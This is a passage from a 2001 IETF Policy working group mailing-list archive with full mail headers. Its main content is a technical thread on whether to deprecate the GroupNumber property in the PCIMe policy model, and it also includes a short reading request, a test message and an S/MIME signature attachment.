From majordomo@raleigh.ibm.com Tue Jul 3 10:19:24 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA00317 for ; Tue, 3 Jul 2001 10:19:23 -0400 (EDT) Received: from rtpmail02.raleigh.ibm.com (rtpmail02.raleigh.ibm.com [9.37.172.48]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id KAA09682; Tue, 3 Jul 2001 10:14:17 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id KAA32132; Tue, 3 Jul 2001 10:14:02 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA46308; Tue, 3 Jul 2001 09:24:18 -0400 Received: from rtpmail01.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA28636; Tue, 3 Jul 2001 09:24:14 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id JAA30210 for ; Tue, 3 Jul 2001 09:24:14 -0400 Received: from motgate4.mot.com (motgate4.mot.com [144.189.100.102]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id JAA23732 for ; Tue, 3 Jul 2001 09:24:13 -0400 Received: [from pobox.mot.com (pobox.mot.com [129.188.137.100]) by motgate4.mot.com (motgate4 2.1) with ESMTP id GAA16766 for ; Tue, 3 Jul 2001 06:24:11 -0700 (MST)] Received: [from zuk28exw01.ecid.cig.mot.com (zuk28exw01.ecid.cig.mot.com [175.12.130.207]) by pobox.mot.com (MOT-pobox 2.0) with ESMTP id GAA27744 for ; Tue, 3 Jul 2001 06:24:10 -0700 (MST)] Received: by zuk28exw01.ecid.cig.mot.com with Internet Mail Service (5.5.2653.19) id <228RT044>; Tue, 3 Jul 2001 14:24:09 +0100 Message-Id: <92F731EE5409D311BF930008C7C55EB40657CAEC@zuk28exm02.ecid.cig.mot.com> From: Spear Simon-SISPEAR1 To: "'policy@raleigh.ibm.com'" Date: Tue, 3 Jul 2001 14:24:08 +0100 Mime-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: Spear Simon-SISPEAR1 Hi Policy People Can any body direct me towards some reading about Policy and GPRS Many Thanks Simon Simon Spear From majordomo@raleigh.ibm.com Wed Jul 11 16:12:06 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA18547 for ; Wed, 11 Jul 2001 16:12:06 -0400 (EDT) Received: from rtpmail02.raleigh.ibm.com (rtpmail02.raleigh.ibm.com [9.37.172.48]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id QAA31124; Wed, 11 Jul 2001 16:02:55 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id QAA28404; Wed, 11 Jul 2001 16:07:06 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA50406; Wed, 11 Jul 2001 10:56:32 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA42446; Wed, 11 Jul 2001 10:56:28 -0400 Received: from lmr (dyn9-37-49-222.raleigh.ibm.com [9.37.49.222]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id KAA26718; Wed, 11 Jul 2001 10:56:27 -0400 Message-Id: <006a01c10a19$1b398860$de312509@lmr> From: "Lee Rafalow" To: "Mircea Pana" , "IETF Policy" References: <3B27BC0E.5952EE30@americasm01.nt.com> Subject: Re: PCIMe: GroupNumber deprecation Date: Wed, 11 Jul 2001 10:52:28 -0400 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Lee Rafalow" Content-Transfer-Encoding: 7bit Mircia, Sorry for the delay in responding to this concern. As long as we confine the proposed change to CompoundPolicyCondition and PolicyConditionInPolicyCondition I think it's fine. I'd rather not modify PolicyConditionInPolicyRule however because there are implementations that would have migration problems if we removed the capability to use the PCIM method. So, for specifics, I'd suggest we rename CompoundedPolicyCondition to PolicyConditionStructure and include IsNegated in that superclass. Then in the PolicyConditionInPolicyRule subclass, we add the GroupNumber but not in the PolicyConditionInPolicyCondition subclass. (I'd like to see a similar renaming of CompoundedPolicyAction as well since, for both, the PolicyXXXinPolicyRule subclass is not compounded.) Regards, Lee ----- Original Message ----- From: "Mircea Pana" To: "IETF Policy" Sent: Wednesday, June 13, 2001 3:16 PM Subject: PCIMe: GroupNumber deprecation > In PCIMe: > > Is the GroupNumber property in the CompoundedPolicyCondition really > necessary? IMO this grouping mechanism unnecessarily overloads the > CompoundPolicyCondition semantics. Therefore, I'd like to suggest its > deprecation. > > Without GroupNumber, the CompoundPolicyCondition would represent a > single level (instead of the current two level) aggregation of > PolicyConditions. Through CompoundPolicyConditions aggregated by other > CompoundPolicyConditions one could still build arbitrary complex policy > conditions. > > For example, given a condition like this: > FlowDirection=IN AND (Source=10.2.0.0/16 OR Source=10.5.0.0/16) > > A. With GroupNumber this can be represented as follows: > > CompoundC_0 (type=CNF) > | > +-(group#=1)-> SimpleC_1 (FlowDirection=IN) > | > +-(group#=2)-> SimpleC_2 (Source=10.2.0.0/16) > | > +-(group#=2)-> SimpleC_3 (Source=10.5.0.0/16) > > > B. Without grouping, the condition may look like: > > CompoundC_0 (type=AND) > | > +-> SimpleC_1 (FlowDirection=IN) > | > +-> CompoundC_01 (type=OR) > | > +-> SimpleC_2 (Source=10.2.0.0/16) > | > +-> SimpleC_3 (Source=10.5.0.0/16) > > Option B seems more intuitive since the aggregation tree and the > evaluation tree map better to each other. > > Regards, > Mircea Pana. From majordomo@raleigh.ibm.com Wed Jul 11 17:08:07 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA20686 for ; Wed, 11 Jul 2001 17:08:06 -0400 (EDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id RAA20206; Wed, 11 Jul 2001 17:02:36 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id RAA29180; Wed, 11 Jul 2001 17:02:25 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA45158; Wed, 11 Jul 2001 16:06:00 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA43612; Wed, 11 Jul 2001 16:05:56 -0400 Received: from fwns2.raleigh.ibm.com (fwns2.raleigh.ibm.com [9.37.0.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id QAA36888 for ; Wed, 11 Jul 2001 16:05:56 -0400 Received: from longmail2.lboard.com ([63.109.116.89]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id QAA32596 for ; Wed, 11 Jul 2001 16:01:29 -0400 Received: by longmail2.lboard.com with Internet Mail Service (5.5.2650.21) id <31HBFJS9>; Wed, 11 Jul 2001 16:04:55 -0400 Message-Id: From: Ed Ellesson To: "'policy@raleigh.ibm.com'" Subject: test Date: Wed, 11 Jul 2001 16:04:54 -0400 Mime-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: Ed Ellesson test, do not respond, please. ed From majordomo@raleigh.ibm.com Wed Jul 11 17:08:17 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA20696 for ; Wed, 11 Jul 2001 17:08:15 -0400 (EDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id RAA24036; Wed, 11 Jul 2001 17:02:33 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id RAA36084; Wed, 11 Jul 2001 17:02:24 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA46764; Wed, 11 Jul 2001 16:15:42 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA30876; Wed, 11 Jul 2001 16:15:39 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id QAA34286; Wed, 11 Jul 2001 16:15:38 -0400 Received: from zcars0m9.ca.nortel.com (h157s242a129n47.user.nortelnetworks.com [47.129.242.157]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id QAA20242; Wed, 11 Jul 2001 16:15:36 -0400 Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f6BKEmb27477; Wed, 11 Jul 2001 16:14:48 -0400 (EDT) Received: from zcard00m.ca.nortel.com by zcars04f.ca.nortel.com; Wed, 11 Jul 2001 16:14:56 -0400 Received: from zcard04n.ca.nortel.com ([47.129.242.86]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 3X1HLJ9K; Wed, 11 Jul 2001 16:14:56 -0400 Received: from americasm01.nt.com (mpana-1.ca.nortel.com [47.128.214.95]) by zcard04n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 3V7FT8YF; Wed, 11 Jul 2001 16:15:01 -0400 Message-Id: <3B4CB48B.64DEDC3A@americasm01.nt.com> Date: Wed, 11 Jul 2001 16:18:19 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: "Mircea Pana" Organization: Nortel Networks X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: en Mime-Version: 1.0 To: Lee Rafalow Cc: IETF Policy Subject: Re: PCIMe: GroupNumber deprecation References: <3B27BC0E.5952EE30@americasm01.nt.com> <006a01c10a19$1b398860$de312509@lmr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Mircea Pana" Content-Transfer-Encoding: 7bit Lee, I agree with your proposal to extend the original model "in a way that, to the extent possible, preserves interoperability with implementations of the original PCIM model." (as stated in PCIMe, 1. Introduction). However, a more radical view would also "spin off" a PolicyCondition and a PolicyAction (exactly one of each) from the PolicyRule semantics. Since CompoundPolicyXXX deals with the aggregation of (one or more) PolicyXXX instances, it is unnecessary to provide the same aggregation capabilities in the PolicyRule as well. The PolicyRule instead would be involved in a one-to-one PolicyXXXInPolicyRule aggregation. This can be looked at in this way: In PCIM, the PolicyRule includes an implicit [compound]condition and an implicit [compound]action. In PCIMe these semantics are fully covered by explicit concepts. Therefore, the implicit ones are redundant and may be deprecated. For example instead of: Rule_0 (type=CNF) | +-(group#=1)-> SimpleC_1 (FlowDirection=IN) | +-(group#=2)-> SimpleC_2 (Source=10.2.0.0/16) | +-(group#=2)-> SimpleC_3 (Source=10.5.0.0/16) one could have: Rule_0 | +-(1..1)->CompoundC_0 (type=AND) | +-> SimpleC_1 (FlowDirection=IN) | +-> CompoundC_01 (type=OR) | +-> SimpleC_2 (Source=10.2.0.0/16) | +-> SimpleC_3 (Source=10.5.0.0/16) This would require the deprecation of several properties in the PolicyRule, change the PolicyXXXInPolicyRule aggregations and a complex PCIM->PCIMe data migration. How about making this scenario as a recommended one (SHOULD) in PCIMe? Regards, Mircea. Lee Rafalow wrote: > > Mircia, > > Sorry for the delay in responding to this concern. As long as we confine > the proposed change to CompoundPolicyCondition and > PolicyConditionInPolicyCondition I think it's fine. I'd rather not modify > PolicyConditionInPolicyRule however because there are implementations that > would have migration problems if we removed the capability to use the PCIM > method. > > So, for specifics, I'd suggest we rename CompoundedPolicyCondition to > PolicyConditionStructure and include IsNegated in that superclass. Then in > the PolicyConditionInPolicyRule subclass, we add the GroupNumber but not in > the PolicyConditionInPolicyCondition subclass. > > (I'd like to see a similar renaming of CompoundedPolicyAction as well since, > for both, the PolicyXXXinPolicyRule subclass is not compounded.) > > Regards, Lee > ----- Original Message ----- > From: "Mircea Pana" > To: "IETF Policy" > Sent: Wednesday, June 13, 2001 3:16 PM > Subject: PCIMe: GroupNumber deprecation > > > In PCIMe: > > > > Is the GroupNumber property in the CompoundedPolicyCondition really > > necessary? IMO this grouping mechanism unnecessarily overloads the > > CompoundPolicyCondition semantics. Therefore, I'd like to suggest its > > deprecation. > > > > Without GroupNumber, the CompoundPolicyCondition would represent a > > single level (instead of the current two level) aggregation of > > PolicyConditions. Through CompoundPolicyConditions aggregated by other > > CompoundPolicyConditions one could still build arbitrary complex policy > > conditions. > > > > For example, given a condition like this: > > FlowDirection=IN AND (Source=10.2.0.0/16 OR Source=10.5.0.0/16) > > > > A. With GroupNumber this can be represented as follows: > > > > CompoundC_0 (type=CNF) > > | > > +-(group#=1)-> SimpleC_1 (FlowDirection=IN) > > | > > +-(group#=2)-> SimpleC_2 (Source=10.2.0.0/16) > > | > > +-(group#=2)-> SimpleC_3 (Source=10.5.0.0/16) > > > > > > B. Without grouping, the condition may look like: > > > > CompoundC_0 (type=AND) > > | > > +-> SimpleC_1 (FlowDirection=IN) > > | > > +-> CompoundC_01 (type=OR) > > | > > +-> SimpleC_2 (Source=10.2.0.0/16) > > | > > +-> SimpleC_3 (Source=10.5.0.0/16) > > > > Option B seems more intuitive since the aggregation tree and the > > evaluation tree map better to each other. > > > > Regards, > > Mircea Pana. From majordomo@raleigh.ibm.com Thu Jul 12 07:57:15 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA08030 for ; Thu, 12 Jul 2001 07:57:15 -0400 (EDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id HAA28602; Thu, 12 Jul 2001 07:52:53 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id HAA30894; Thu, 12 Jul 2001 07:52:46 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA41544; Thu, 12 Jul 2001 06:56:57 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA22848; Thu, 12 Jul 2001 06:56:54 -0400 Received: from fwns2.raleigh.ibm.com (fwns2.raleigh.ibm.com [9.37.0.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id GAA25100; Thu, 12 Jul 2001 06:56:53 -0400 Received: from mail.san.yahoo.com (mail.san.yahoo.com [209.132.1.30]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id GAA37952; Thu, 12 Jul 2001 06:52:20 -0400 Received: from ntearb4s22b666 (212.199.76.47) by mail.san.yahoo.com (5.5.034.3) id 3B436C1B000E4DFB; Thu, 12 Jul 2001 03:55:28 -0700 From: "Ron Cohen" To: "Mircea Pana" , "Lee Rafalow" Cc: "IETF Policy" Subject: RE: PCIMe: GroupNumber deprecation Date: Thu, 12 Jul 2001 13:01:45 +0200 Mime-Version: 1.0 Message-Id: X-Priority: 3 (Normal) X-Msmail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-Type: multipart/signed; boundary="----=_NextPart_000_001A_01C10AD2.7027F000"; protocol="application/x-pkcs7-signature"; micalg=SHA1 In-Reply-To: <3B4CB48B.64DEDC3A@americasm01.nt.com> Importance: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Ron Cohen" This is a multi-part message in MIME format. ------=_NextPart_000_001A_01C10AD2.7027F000 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Mircea, The compound policy condition and the compound action are needed in order to provide a mechanism to have reusable conditions and actions. A policy writer that writes a complex condition needs to be able to keep this condition in a folder, and reuse it as a condition (or sub-condition) within several rules. It is not acceptable to allow only one line (one group) reusable conditions and actions. Regards Ron > Lee, > > I agree with your proposal to extend the original model "in a way that, > to the extent possible, preserves interoperability with implementations > of the original PCIM model." (as stated in PCIMe, 1. Introduction). > > However, a more radical view would also "spin off" a PolicyCondition > and a PolicyAction (exactly one of each) from the PolicyRule semantics. > Since CompoundPolicyXXX deals with the aggregation of (one or more) > PolicyXXX instances, it is unnecessary to provide the same aggregation > capabilities in the PolicyRule as well. The PolicyRule instead would be > involved in a one-to-one PolicyXXXInPolicyRule aggregation. > > This can be looked at in this way: In PCIM, the PolicyRule includes an > implicit [compound]condition and an implicit [compound]action. In PCIMe > these semantics are fully covered by explicit concepts. Therefore, the > implicit ones are redundant and may be deprecated. > > For example instead of: > > Rule_0 (type=CNF) > | > +-(group#=1)-> SimpleC_1 (FlowDirection=IN) > | > +-(group#=2)-> SimpleC_2 (Source=10.2.0.0/16) > | > +-(group#=2)-> SimpleC_3 (Source=10.5.0.0/16) > > > one could have: > > Rule_0 > | > +-(1..1)->CompoundC_0 (type=AND) > | > +-> SimpleC_1 (FlowDirection=IN) > | > +-> CompoundC_01 (type=OR) > | > +-> SimpleC_2 (Source=10.2.0.0/16) > | > +-> SimpleC_3 (Source=10.5.0.0/16) > > > > This would require the deprecation of several properties in the > PolicyRule, change the PolicyXXXInPolicyRule aggregations and a complex > PCIM->PCIMe data migration. > > How about making this scenario as a recommended one (SHOULD) in PCIMe? > > Regards, > Mircea. > > > > > Lee Rafalow wrote: > > > > Mircia, > > > > Sorry for the delay in responding to this concern. As long as > we confine > > the proposed change to CompoundPolicyCondition and > > PolicyConditionInPolicyCondition I think it's fine. I'd rather > not modify > > PolicyConditionInPolicyRule however because there are > implementations that > > would have migration problems if we removed the capability to > use the PCIM > > method. > > > > So, for specifics, I'd suggest we rename CompoundedPolicyCondition to > > PolicyConditionStructure and include IsNegated in that > superclass. Then in > > the PolicyConditionInPolicyRule subclass, we add the > GroupNumber but not in > > the PolicyConditionInPolicyCondition subclass. > > > > (I'd like to see a similar renaming of CompoundedPolicyAction > as well since, > > for both, the PolicyXXXinPolicyRule subclass is not compounded.) > > > > Regards, Lee > > ----- Original Message ----- > > From: "Mircea Pana" > > To: "IETF Policy" > > Sent: Wednesday, June 13, 2001 3:16 PM > > Subject: PCIMe: GroupNumber deprecation > > > > > In PCIMe: > > > > > > Is the GroupNumber property in the CompoundedPolicyCondition really > > > necessary? IMO this grouping mechanism unnecessarily overloads the > > > CompoundPolicyCondition semantics. Therefore, I'd like to suggest its > > > deprecation. > > > > > > Without GroupNumber, the CompoundPolicyCondition would represent a > > > single level (instead of the current two level) aggregation of > > > PolicyConditions. Through CompoundPolicyConditions aggregated by other > > > CompoundPolicyConditions one could still build arbitrary > complex policy > > > conditions. > > > > > > For example, given a condition like this: > > > FlowDirection=IN AND (Source=10.2.0.0/16 OR Source=10.5.0.0/16) > > > > > > A. With GroupNumber this can be represented as follows: > > > > > > CompoundC_0 (type=CNF) > > > | > > > +-(group#=1)-> SimpleC_1 (FlowDirection=IN) > > > | > > > +-(group#=2)-> SimpleC_2 (Source=10.2.0.0/16) > > > | > > > +-(group#=2)-> SimpleC_3 (Source=10.5.0.0/16) > > > > > > > > > B. Without grouping, the condition may look like: > > > > > > CompoundC_0 (type=AND) > > > | > > > +-> SimpleC_1 (FlowDirection=IN) > > > | > > > +-> CompoundC_01 (type=OR) > > > | > > > +-> SimpleC_2 (Source=10.2.0.0/16) > > > | > > > +-> SimpleC_3 (Source=10.5.0.0/16) > > > > > > Option B seems more intuitive since the aggregation tree and the > > > evaluation tree map better to each other. > > > > > > Regards, > > > Mircea Pana. ------=_NextPart_000_001A_01C10AD2.7027F000 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Disposition: attachment; filename="smime.p7s" Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIII6jCCAogw ggHxoAMCAQICAwUOtTANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAw MC44LjMwMB4XDTAxMDYxOTExMTI0MVoXDTAyMDYxOTExMTI0MVowSTEfMB0GA1UEAxMWVGhhd3Rl IEZyZWVtYWlsIE1lbWJlcjEmMCQGCSqGSIb3DQEJARYXcm9uY0BseWNpdW1uZXR3b3Jrcy5jb20w gZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAN1SOIa+av4SZl1BcyRsgD8+uZq2nLI8VOMgDVFK HrUZ4zWvWku1idnYe6as8eafZwBnmhYAePgteRQrDojAVQtGsr5h6LZuNw8cY1vcDoAY0f5aPwj+ J+SjhdqcP4YLSu+H5yxlqLb6DhgGvYI5cXlVmCwJKtp40D2nOgQvOGDfAgMBAAGjNDAyMCIGA1Ud EQQbMBmBF3JvbmNAbHljaXVtbmV0d29ya3MuY29tMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEE BQADgYEAPsJTH+xrQhyNaq5SA5J1b2IEta32kPMOQDDMryoINkFPd78K7V1gxTrRbyE6Q0ZdwmLl b2Qn6oWk0KVbeuLdJbrL7VukRmX/RD1/ecSx4Qm2zQhZjGGl6UvQ68x5Z86jcMxtlG690EWKK1qc e+QJ8S2ORk2Ovpn1nd+p2VnCYYswggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQsw CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAY BgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2Vz IERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG 9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcNMDIw ODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UE BxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZp Y2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMwMIGfMA0GCSqGSIb3 DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNEKYpjNSptcDz63K737nRv MLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu2HL5ugL217CR3hzpq+AYA6h8 Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQABo04wTDApBgNVHREEIjAgpB4wHDEa MBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0TAQH/BAgwBgEB/wIBADALBgNVHQ8EBAMC AQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxt t88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHCCafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yib t6KIGu05Wzl9NPy2lhglTWr0ncXDkS+plrgFPFL83eliA0gwggMtMIIClqADAgECAgEAMA0GCSqG SIb3DQEBBAUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQH EwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZp Y2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1h aWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNOTYw MTAxMDAwMDAwWhcNMjAxMjMxMjM1OTU5WjCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rl cm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEo MCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3Rl IFBlcnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0 aGF3dGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUadfUsJRkW3HpR9gMUbbqcpGw hF59LQ2PexLfhSV1KHQ6QixjJ5+Ve0vvfhmHHYbqo925zpZkGsIUbkSsfOaP6E0PcR9AOKYAo4d4 9vmUhl6t6sBeduvZFKNdbnp8DKVLVX8GGSl/npom1Wq7OCQIapjHsdqjmJH9edvlWsQcuQIDAQAB oxMwETAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBBAUAA4GBAMfskn5O+PWWpWdiKqTwTRFg 0G+NYFhhrCa7UjVcCM8w+6hKloofYkIjjBcP9LpknBesRynfnZhe0mxgcVyirNx54+duAEcftQ0o 6AKd5Jr9E/Sm2Xyx+NxfIyYJkYBz0BQb3kOpgyXy5pwvFcr+pquKB3WLDN1RhGvk+NHOd6KBMYIC jjCCAooCAQEwgZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNV BAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2 aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAIDBQ61MAkGBSsO AwIaBQCgggFJMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAxMDcx MjEwNTkwOFowIwYJKoZIhvcNAQkEMRYEFH9RwchqFr+pHKq8zfX8cX4KBhArMDwGCSqGSIb3DQEJ DzEvMC0wBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwBwYFKw4DAhowCgYIKoZIhvcNAgUwgasGCSsG AQQBgjcQBDGBnTCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAG A1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNl cnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMwAgMFDrUwDQYJ KoZIhvcNAQEBBQAEgYCxlIn8SwFVkkwBF/ZiwNu4tJ+qjFQxanELR2/QAaVYX+vYXJUtCP+49q4d yurU+fiTDMxqQkVKaO1jZA+YvfJJQ1BZmboO1FnH/RyVNO37XoNgztXeDKM+Tou3gdpsewtBF9Wg jEtFSDSOXfbsf1yA+qgn1PvxSNf65ggb22iabgAAAAAAAA== ------=_NextPart_000_001A_01C10AD2.7027F000-- From majordomo@raleigh.ibm.com Thu Jul 12 11:09:29 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org 